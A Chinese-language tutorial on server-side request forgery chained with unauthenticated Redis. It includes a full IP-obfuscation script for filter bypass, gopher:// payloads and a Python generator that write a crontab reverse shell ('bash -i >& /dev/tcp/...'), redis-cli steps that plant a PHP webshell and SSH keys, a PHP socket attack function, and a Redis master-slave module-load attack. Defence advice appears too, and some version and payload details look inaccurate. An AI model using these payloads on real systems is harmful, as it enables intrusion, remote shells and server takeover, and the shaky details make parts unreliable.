SSRF-Redis专题

SSRF漏洞详解

以下是关于 SSRF(Server-Side Request Forgery,服务端请求伪造) 漏洞的详细解析,涵盖原理、危害、利用场景、防御方法等内容。


一、SSRF 漏洞基础概念

定义
SSRF 是一种攻击者通过构造恶意请求,诱导服务器端发起非预期的网络请求的漏洞。攻击目标通常是服务器本身或内网资源,利用服务器作为“代理”访问受限资源。

核心问题
服务器未对用户输入的 URL 或参数进行严格校验,直接用于发起网络请求(如 HTTP、FTP、Redis 协议等)。


二、SSRF 攻击原理

  1. 攻击流程

    1
    攻击者构造恶意请求 → 服务器接收请求 → 服务器发起非预期请求 → 访问敏感资源或服务
  2. 常见触发点

    • 用户输入 URL 参数(如图片下载、网页抓取、API 调用)。
    • 服务器功能依赖外部资源(如 OAuth 授权、XML 解析)。
    • 云服务元数据接口(如 AWS/Aliyun 的 169.254.169.254)。

三、SSRF 的危害场景

  1. 访问内网服务

    • 扫描内网端口和服务(如 Redis、MySQL、Consul 等未授权服务)。
    • 攻击本地服务(如 http://127.0.0.1:8080/admin)。
  2. 读取敏感文件

    • 利用 file:// 协议读取服务器本地文件(如 /etc/passwd)。
  3. 攻击云元数据

    • 获取云服务器临时凭证(如 AWS EC2 的 IAM 角色密钥)。
  4. 协议滥用

    • 使用 gopher://dict:// 等协议与内网服务交互(如 Redis 未授权执行命令)。
  5. 反射型攻击

    • 将服务器作为跳板发起 DDoS 或钓鱼攻击。

四、SSRF 漏洞利用方式

1. 基础利用示例

1
2
GET /download?url=http://attacker.com/malicious.jpg HTTP/1.1
Host: vulnerable.com

服务器访问 http://attacker.com/malicious.jpg,可能触发攻击者控制的逻辑。

  • 协议利用

​ 使用 file://gopher://dict://tftp://ldap://等协议:

1
2
3
4
5
6
// 需要allow_url_fopen=On
file:///etc/passwd

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0aconfig set dir /var/spool/cron/%0d%0aconfig set dbfilename root%0d%0asave%0d%0a

dict://127.0.0.1:6379/info

image-20250323015246258

2. 高级利用技巧ByPass

1.进制编码绕过

利用工具IPFuscator生成多种进制地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/usr/bin/env python3

from argparse import ArgumentParser
import struct
import re, random


__version__ = '0.1.0'


def get_args():
parser = ArgumentParser()
parser.add_argument('ip', help='The IP to perform IPFuscation on')
parser.add_argument('-o', '--output', help='Output file')
return parser.parse_args()

def banner():
print("IPFuscator")
print("Author: Vincent Yiu (@vysecurity)")
print("https://www.github.com/vysec/IPFuscator")
print("Version: {}".format(__version__))
print("")

def checkIP(ip):
m = re.match('\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z',ip)

if m:
# Valid IP format
parts = ip.split('.')
if len(parts) == 4:
# Valid IP
for i in parts:
if int(i) > 255 or int(i) < 0:
return False
return True
else:
return False
else:
return False

def printOutput(ip):
parts = ip.split('.')

decimal = int(parts[0]) * 16777216 + int(parts[1]) * 65536 + int(parts[2]) * 256 + int(parts[3])
print("")

print("Decimal:\t{}".format(decimal))
#hexadecimal = "0x%02X%02X%02X%02X" % (int(parts[0]), int(parts[1]), int(parts[2]), int(parts[3]))
print("Hexadecimal:\t{}".format(hex(decimal)))

#octal = oct(decimal)
print("Octal:\t\t0{}".format(oct(decimal)[2:]))

print("")

hexparts = []
octparts = []

for i in parts:
hexparts.append(hex(int(i)))
octparts.append("0" + oct(int(i))[2:])

print("Full Hex:\t{}".format('.'.join(hexparts)))
print("Full Oct:\t{}".format('.'.join(octparts)))

print("")
print("Random Padding: ")

randhex = ""

for i in hexparts:
randhex += i.replace('0x','0x' + '0' * random.randint(1,30)) + '.'

randhex = randhex[:-1]
print("Hex:\t{}".format(randhex))

randoct = ""
for i in octparts:
randoct += '0' * random.randint(1,30) + i + '.'

randoct = randoct[:-1]

print("Oct:\t{}".format(randoct))

print("")
print("Random base:")

randbase = []

count = 0
while count < 5:
randbaseval = ""
for i in range(0,4):
val = random.randint(0,2)
if val == 0:
# dec
randbaseval += parts[i] + '.'
elif val == 1:
# hex
randbaseval += hexparts[i] + '.'
else:
randbaseval += octparts[i] + '.'
# oct
randbase.append(randbaseval[:-1])
print("#{}:\t{}".format(count+1, randbase[count]))
count += 1

print("")
print("Random base with random padding:")

randbase = []

count = 0
while count < 5:
randbaseval = ""
for i in range(0,4):
val = random.randint(0,2)
if val == 0:
# dec
randbaseval += parts[i] + '.'
elif val == 1:
# hex
randbaseval += hexparts[i].replace('0x', '0x' + '0' * random.randint(1,30)) + '.'
else:
randbaseval += '0' * random.randint(1,30) + octparts[i] + '.'
# oct
randbase.append(randbaseval[:-1])
print("#{}:\t{}".format(count+1, randbase[count]))
count += 1


def main():
banner()

args = get_args()

if checkIP(args.ip):
print("IP Address:\t{}".format(args.ip))
printOutput(args.ip)
else:
print("[!] Invalid IP format: {}".format(args.ip))


if __name__ == '__main__':
main()

​ 使用方式,每一个都可以进行尝试

python IPFuscator.py 192.168.100.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
IPFuscator
Author: Vincent Yiu (@vysecurity)
https://www.github.com/vysec/IPFuscator
Version: 0.1.0

IP Address: 192.168.100.1

Decimal: 3232261121
Hexadecimal: 0xc0a86401
Octal: 030052062001

Full Hex: 0xc0.0xa8.0x64.0x1
Full Oct: 0300.0250.0144.01

Random Padding:
Hex: 0x00c0.0x00000000a8.0x000000000064.0x00000001
Oct: 0000000000000000300.000000000000000000000000000000250.00000000000000000000000000144.0000000000000000000000000001

Random base:
#1: 0xc0.0250.0x64.0x1
#2: 192.0250.100.01
#3: 192.0xa8.100.0x1
#4: 192.0xa8.100.1
#5: 0300.0xa8.0144.01

Random base with random padding:
#1: 192.168.100.0000000000000001
#2: 0x00000000000000000000000c0.168.0x00000000000000064.00000000000001
#3: 000000000300.168.0x000000000000000064.0000000000000001
#4: 0x00000000000000000c0.00000000000000000000000000250.0000000000000000000000144.0000000001
#5: 00000000300.0x000000000000000000000000000000a8.0x000000000000000000000064.0000000000000000000000001

image-20250408230230486

2.本地回环简写绕过

image-20250408230429346

3.域名泛解析绕过
4.利用句号代替“.”绕过
  • ping 192。168。100。1

image-20250408230935436

5.短链接绕过
  • 利用短链接生成网站,生成短链接,其实本质就是域名地址重定向,将生成的短链接地址指向我们想要访问的地址。

image-20250408231321760

6.注释绕过/路由绕过

image-20250408231711020

7.利用封闭的字母数字绕过
  • curl ①⑨②。①⑥⑧。①00。①
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Desktop/attackTools]
└─$ curl http://①⑨②。①⑥⑧。①00。①
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>

image-20250408232200398

8.[::]利用ipv6解析绕过
9.CRLF编码转换绕过
  • 在请求数据包阶段可用
1
2
%0d -> 0x0d -> \r 
%0a -> 0x0a -> \n
10.域名指向绕过
  • 域名指向本地回环地址,当服务端解析了这个域名后请求的是本地回环地址。
  • xxx.com -> 127.0.0.1
11.重定向绕过

image-20250408233427807


五、攻击步骤

  1. 验证是否能狗对外发起指定请求,利用dnslog验证。
  2. 验证当前支持哪些协议,http、dict、gopher、file
  3. 验证是否支持回环地址
  4. 内网段ip探测
  5. 探测具体服务 ,例如mysql 或者 redis
  6. 发起恶意攻击 (getshell)

六、SSRF 漏洞防御方案

1. 输入校验与过滤

  • 白名单校验
    限制允许的协议(仅 HTTP/HTTPS)和域名/IP。
  • 禁用危险协议
    禁止 file://gopher://dict:// 等协议。
  • 正则匹配
    检查 URL 是否包含内网 IP(如 127.0.0.1192.168.0.0/16)。

2. 网络隔离与权限控制

  • 服务器网络隔离
    禁止服务器访问非必要的内网服务。
  • 最小化权限
    运行服务的进程使用低权限用户,限制文件读取能力。

3. 安全编码实践

  • 避免直接使用用户输入
    使用中间代理或缓存服务器处理外部资源。
  • 使用安全库
    如 Python 的 requests 库代替 urllib,避免自动处理协议。

4. 云环境防护

  • 限制元数据接口访问
    通过云安全组或 IAM 策略限制对元数据接口的访问。
  • 使用临时凭证
    避免在元数据中存储长期有效的密钥。

5. 监控与日志

  • 记录异常请求
    监控服务器发起的非预期请求(如访问 127.0.0.1 或云元数据)。
  • 部署 WAF
    使用 Web 应用防火墙拦截 SSRF 攻击特征。

七、经典案例

  1. Redis 未授权访问 + SSRF

    • 利用 gopher:// 协议发送 Redis 命令,写入定时任务反弹 Shell。
    • 防御:禁用非 HTTP 协议,限制 Redis 绑定 IP。
  2. WordPress 图片抓取 SSRF

    • 通过媒体上传功能触发 SSRF,访问内网服务。
    • 防御:校验图片 URL 白名单。
  3. XXE + SSRF

    • 通过 XML 外部实体注入触发 SSRF,读取服务器文件。
    • 防御:禁用 XML 外部实体解析。

八、工具与检测

  1. 测试工具
    • Burp Suite(Collaborator 检测 SSRF)。
    • SSRFmap(自动化漏洞利用工具)。
  2. 在线检测
    • 请求 http://169.254.169.254 测试云元数据暴露。
    • 使用 DNSLog 平台观察服务器是否发起 DNS 查询。

九、总结

SSRF 是服务器安全的高危漏洞,可穿透内网边界,结合其他服务(如 Redis、云元数据)造成严重危害。防御核心在于 严格校验输入、限制网络权限、最小化服务暴露。开发中需始终遵循“不信任用户输入”原则,结合安全配置和监控降低风险。

Redis 未授权访问漏洞详解

CNVD-2015-07557 是 Redis 数据库中的一个严重未授权访问漏洞,攻击者可以通过未授权访问 Redis 服务,利用 Redis 的文件写入功能实现远程代码执行(RCE)或获取服务器权限。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。


1. 漏洞背景

Redis 是一个开源的高性能键值存储数据库,广泛应用于缓存、消息队列等场景。由于 Redis 默认配置下未启用身份验证,攻击者可以直接连接到 Redis 服务并执行任意操作,导致未授权访问漏洞的产生。


2. 漏洞原理

漏洞的核心在于 Redis 的 未授权访问文件写入功能

  1. 未授权访问

    • Redis 默认绑定在 0.0.0.0:6379,且未启用密码认证,导致攻击者可以直接连接并操作 Redis 数据库。
  2. 文件写入功能

    • Redis 提供了 config set dirconfig set dbfilename 命令,允许用户设置数据库文件的存储路径和文件名。
    • 攻击者可以通过这些命令将恶意数据写入目标服务器的文件系统,例如写入 WebShell、SSH 公钥或定时任务,从而实现远程代码执行或提权。
  3. 利用方式

    • 写入 WebShell:将恶意代码写入 Web 目录,通过访问 WebShell 执行命令。
    • 写入 SSH 公钥:将攻击者的公钥写入目标服务器的 authorized_keys 文件,实现免密登录。
    • 写入定时任务:将恶意命令写入定时任务文件,实现命令执行。

3. 影响版本

  • 受影响版本
    • Redis <= 5.0.5。
  • 修复版本
    • Redis 5.0.5 及以上版本已修复该漏洞。

4. 漏洞利用条件

  1. 目标系统

    • 运行受影响版本的 Redis。
    • Redis 服务未启用密码认证。
    • Redis 绑定在 0.0.0.0 或暴露在公网。
  2. 攻击者权限

    • 攻击者能够访问目标 Redis 服务的端口(默认 6379)。
  3. 文件写入条件

    • 写入 WebShell:需要知道 Web 目录路径并具有写权限。
    • 写入 SSH 公钥:需要 Redis 以 root 权限运行,且目标服务器允许 SSH 密钥登录。
    • 写入定时任务:需要 Redis 以 root 权限运行,且目标系统支持定时任务执行。

5. 漏洞复现

以下是漏洞复现的简要步骤:

环境搭建

  1. 使用 Docker 或虚拟机搭建 Redis 环境(如 Redis 4.0.10)。
  2. 确保 Redis 未启用密码认证,并绑定在 0.0.0.0

写入 WebShell

  1. 使用 Redis 客户端连接目标 Redis 服务:

    1
    redis-cli -h 目标IP
  2. 设置 Web 目录和文件名:

    1
    2
    config set dir /var/www/html
    config set dbfilename shell.php
  3. 写入恶意代码:

    1
    2
    set test "<?php phpinfo(); ?>"
    save
  4. 访问 WebShell:

    • 在浏览器中访问 http://目标IP/shell.php,查看是否成功写入。

写入 SSH 公钥

  1. 在攻击机上生成 SSH 密钥:

    1
    ssh-keygen -t rsa
  2. 将公钥写入 Redis:

    1
    2
    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
    cat key.txt | redis-cli -h 目标IP -x set xxx
  3. 设置 Redis 文件路径:

    1
    2
    3
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    save
  4. 使用 SSH 登录目标服务器:

    1
    ssh -i ~/.ssh/id_rsa root@目标IP

写入定时任务

  1. 设置定时任务目录:

    1
    2
    config set dir /var/spool/cron # /var/spool/cron/crontabs
    config set dbfilename root
  2. 写入反弹 Shell 命令:

    1
    2
    set yy "\n\n* * * * * bash -i >& /dev/tcp/攻击机IP/5555 0>&1\n\n"
    save
  3. 在攻击机上监听端口:

    1
    nc -lvp 5555
  4. 等待定时任务执行,获取反弹 Shell。

可能会出现各种问题:

  1. 各个版本的linux发行版或者新旧版本,定时任务目录不同。

  2. 写入的文件没有执行权限,或者目录没有写入权限。

  3. 或者目标服务器根本没有使用过公私钥方式进行登陆,因此不存在.ssh文件夹。

  4. 写文件时还得尽量保证redis的键值对清空,否则写入执行不了,或者链接不上。

  5. redis 不支持”~”字符,仅支持绝对路径,而root目录,大概率权限又不够,因此不知道用户名的情况下,很难写入公钥文件。

  6. 反正就是成功率很低。


6. 修复建议

  1. 启用密码认证

    • redis.conf 中设置 requirepass 参数,启用密码认证。
  2. 绑定 IP

    • 修改 redis.conf 中的 bind 参数,限制 Redis 仅监听本地或可信 IP。
  3. 禁用高危命令

    • 使用 rename-command 禁用 configsave 等危险命令。
  4. 防火墙策略

    • 使用防火墙限制 Redis 端口的访问范围,仅允许可信 IP 访问。

7. 总结

CNVD-2015-07557 是一个高危的未授权访问漏洞,影响范围广泛,利用条件简单。建议用户尽快启用密码认证、限制访问权限,并升级到最新版本,以避免潜在的安全风险。通过禁用不必要的功能和实施安全策略,可以有效降低漏洞被利用的风险。

说实话不好成功,唯一还算可以成功的的就是redis写webshell,redis只让127.0.0.1访问,使用ssrf gophar协议,进行文件写入,实现远程RCE。

SSRF结合Redis利用

利用SSRF(服务器端请求伪造)结合Redis未授权漏洞进行内网渗透的攻击流程可分为以下几个阶段:


1. 漏洞探测阶段

1.1 确认SSRF漏洞存在

  • 目标场景:找到存在SSRF漏洞的功能点(如URL参数、文件解析、Webhook回调等)。
  • 验证方法
    1
    GET /api/fetch?url=http://attacker-controlled.com HTTP/1.1
    若服务器请求了攻击者控制的地址,则存在SSRF。

1.2 探测内网Redis服务

  • 目标:通过SSRF扫描内网IP和端口,寻找开放的Redis服务(默认端口6379)。
  • Payload示例(基于HTTP协议):
    1
    GET /api/fetch?url=dict://192.168.1.10:6379/info HTTP/1.1
    • 若返回Redis版本信息(如redis_version),则存在未授权访问。

image-20250323015130425


2. 利用Redis未授权漏洞

2.1 PHP 内置 Gopher 协议支持的版本差异

  • PHP < 5.3:原生支持 gopher:// 协议处理器(如 file_get_contents('gopher://...')
  • PHP ≥ 5.3移除了 Gopher 协议支持,直接使用 gopher:// 会报错,但通过 fsockopen 手动构造 TCP 请求仍有效。
PHP 版本 影响点 解决方案
PHP ≥ 5.3 禁用内置 Gopher 协议 使用 fsockopen 手动构造请求
PHP ≥ 7.0 更严格的错误处理机制 确保命令格式完全符合 RESP 协议
全版本 disable_functions 限制 检查是否禁用网络相关函数
  • 攻击代码的版本兼容性

    以下代码在所有 PHP 版本中均可运行(需 fsockopen 未被禁用):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    function attackRedis($host, $port, $payload) {
    $socket = fsockopen($host, $port, $errno, $errstr, 3);
    if (!$socket) die("连接失败: $errstr");
    fwrite($socket, $payload);
    return stream_get_contents($socket);
    }

    // 示例:发送 FLUSHALL 命令
    $payload = "*1\r\n\$8\r\nFLUSHALL\r\n";
    echo attackRedis('192.168.1.100', 6379, $payload);

2.2 利用Gopher协议构造Redis命令

Redis使用自定义二进制协议,需通过支持原始TCP的协议(如gopher)发送命令。

  • Gopher协议格式

    1
    gopher://<目标IP>:<端口>/_<经过URL编码的Redis命令>
  • 关键步骤

    1. 构造Redis命令(示例:写入SSH公钥)。
    2. 将命令转换为Redis协议格式
    3. URL编码后通过SSRF发送

2.3 生成Redis协议Payload

以写入SSH公钥为例:

1
2
3
4
5
6
7
8
9
10
# 1. 生成公钥
ssh-keygen -t rsa
(公钥保存到文件:id_rsa.pub)

# 2. 构造Redis命令
echo -e "FLUSHALL\nCONFIG SET dir /root/.ssh\nCONFIG SET dbfilename authorized_keys\nSET x \"\\n\\n$(cat id_rsa.pub)\\n\\n\"\nSAVE\n" > payload.txt

# 3. 转换为Redis协议格式(使用脚本或工具,如redis-cli --pipe)
# 或手动构造:
# 每行命令格式:*<参数个数>\r\n$<长度>\r\n<命令>\r\n...

将生成的二进制协议数据通过Gopher发送。

2.4 redis命令格式

  • redis的命令接受是通过TCP请求,发送二进制数据实现的命令注入。因此发送的二进制数据需要符合RESP格式。
  • 具体格式如下:
    • *1 ;*号表示当前命令的开头,*后的数字表示该行命令的字符串个数,即该行命令为FLUSHALL,只有一个字符串。而*4表示该行命令有4个字符串,即config set dir /var/spool/cron。
    • $8; 而表示后面后一串命令字符串,且字符长度为8,即FLUSHALL,$6表示6个字符的命令关键字为CONFIG
    • 同时每个字符串,包括标识符*1或者$8都使用CR LF进行分割,即\r\n,是不可见字符,\r\n只是转义的表示,不可直接将\r\n进行url编码获得CR LF,而是直接将字符编码为%0D%0A即可。

image-20250323234159460

  • 知道了具体格式那么我们就可以手撸payload了,例如只传输一个SAVE指令。
1
2
3
4
gopher://_*1%0D%0A$4%0D%0ASAVE%0D%0A
再将*和$进行url编码
gopher://_%2A1%0D%0A%244%0D%0ASAVE%0D%0A
其中_是gopher协议的发送二进制数据的标识起始位。
  • 或者利用python代码生成payload url
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import urllib.parse
import shlex

def redis_protocol(cmd):
parts = shlex.split(cmd)
protocol = f"*{len(parts)}\r\n" # 使用\r\n作为分隔符
for part in parts:
# 处理特殊字符(保留原始\n)
part = part.replace("\n", "\n") # 不转义,直接保留
protocol += f"${len(part)}\r\n{part}\r\n"
return protocol

commands = [
"FLUSHALL",
"CONFIG SET dir /var/spool/cron",
"CONFIG SET dbfilename root",
'SET x "\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"',
"SAVE"
]

payload = ""
for cmd in commands:
payload += redis_protocol(cmd)

# 转换为字节并URL编码
raw_payload = payload.encode('utf-8')
gopher_payload = f"gopher://127.0.0.1:6379/_{urllib.parse.quote(raw_payload)}"

print("修正后的Gopher Payload:")
print(gopher_payload)

2.5 通过SSRF发送Payload

  • Payload示例
    1
    gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh%0D%0A...
    • URL编码后的Gopher链接通过SSRF触发:
      1
      GET /api/fetch?url=gopher://192.168.1.10:6379/_<encoded_payload> HTTP/1.1

3. 获取权限

3.1 SSH登录

若写入公钥成功,直接通过SSH连接:

1
ssh -i id_rsa [email protected]

3.2 其他利用方式

  • 写入Crontab定时任务
    1
    2
    3
    4
    CONFIG SET dir /var/spool/cron
    CONFIG SET dbfilename root
    SET x "\n* * * * * bash -i >& /dev/tcp/attacker-ip/port 0>&1\n"
    SAVE
  • 主从复制攻击(Redis 4.x/5.x):
    1
    2
    SLAVEOF attacker-ip 6379
    MODULE LOAD /path/to/exp.so

4. 横向移动

  • 信息收集:获取内网拓扑、其他服务凭证。
  • 利用Redis作为跳板:通过已控制的Redis服务器进一步渗透内网。

防御建议

  1. 修复SSRF
    • 禁止非预期的协议(如gopherdict)。
    • 校验请求目标是否为合法地址。
  2. 加固Redis
    • 绑定IP为127.0.0.1
    • 设置强密码认证。
    • 启用protected-mode
  3. 网络隔离:限制内网服务的访问权限。

注意事项

  • Gopher协议可能被现代Web框架禁用。
  • Redis的目录权限需允许写入(如/root/.ssh需存在)。
  • 不同操作系统和Redis版本可能影响利用成功率。